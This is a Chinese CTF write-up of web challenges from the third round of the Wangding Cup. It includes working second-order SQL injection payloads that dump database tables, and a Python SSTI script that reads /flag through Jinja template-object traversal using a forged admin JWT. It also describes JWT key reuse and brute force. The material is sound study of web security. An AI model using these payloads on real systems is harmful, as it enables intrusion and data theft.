[网鼎杯] 第三场web writeup

网鼎杯 第三场 web

拿了hs给我的账号
开始赛后做题之旅,没有多个人做题的限制
真的是赛后做题似神仙

phone

-w1273

噗一样的框架,不过可以注册了,先注册为敬

我猜他的后台的sql语句应该是
select count(*) from users where phone = 我的phone
二次注入
把phone弄成别的试一试

16进制试一下
0x3127206f7220313d3123 ==> 1' or 1=1#
登录进去

再注册一个如果变成三个就说明成功了

成功了哈哈哈哈哈,而且没有任何过滤的样子,而且也确定了他不是用group by的

拿mysql测试了一下这样就可以了

所以只要构造 1' union select database() limit 1 offset 1#
因为自己肯定存在一个自己的电话号码,所以要offset 1

当然也可以用order by 1 desc
接下来就是常规套路,拿表和字段了
1' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()) limit 1 offset 1#

1' union select (select group_concat(column_name) from information_schema.columns where table_name='flag') limit 1 offset 1#

只要select fl4g from flag 就可以了
1' union select f14g from flag limit 1 offset 1#

没有任何过滤真的太棒了

mmmmy

这道题只要两个人做出来太恐怖了。。打开wp学习



-w733

密码是 6a423
那就可以伪造一个admin用户登陆进去了


-w1045

成功了@@
可以使用留言功能了

看wp说是模板注入,而且这是一题python的模板注入=。=,我还没试过,学习一下
SSTI
先放脚本

import requests,sys
url = "http://cf43c17a16c94defa99a7a1703fb529e10b9604316cc4e58.game.ichunqiu.com/bbs"
cookie = {
    "token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
chars = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
flag = ''
for i in range(0,50):
    for j in range(0,len(chars)):
        data = {
            "text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%%endif%%}" % (j,i),
            "a" : "__class__",
            "b" : "__base__",
            "c" : "__subclasses__",
            "d" : "/flag",
            "e" : chars
        }
        r = requests.post(url=url,data=data,cookies=cookie)
        if 'getflag' in r.text:
            flag += chars[j]
            sys.stdout.write("[+] "+ flag + '\r')
            sys.stdout.flush()
            if chars[j] == '}':
                print(flag)
                exit()
            else:
                break
print(len(r.text))

i_am_admin


那就登录试试



好像不能注册,而且只有一个账号就是test,test


-w1280

给了一堆乱七八糟的
在抓包的地方看到一个身份验证用的auth他有两个点正好是JWT的格式
-w397

结合他需要一个秘钥所以下面那个正好是秘钥,然后生成一个admin的auth


gold

这道题莫名其妙=。=
但是看到post数据是有一个参数叫getgold
先输入1000



那就看下他的要求是多少吧,就假设我们是从一个金币吃起的使用bp的intruder模块
从1跑到100000,总有一个是的
跑不出=。=但是看了就是这样跑出来的不明白=。=

comein

这题进不去=。=
还好hs在群里发了源码



还看到了hs给的payload和原理


你可能感兴趣的:([网鼎杯] 第三场web writeup)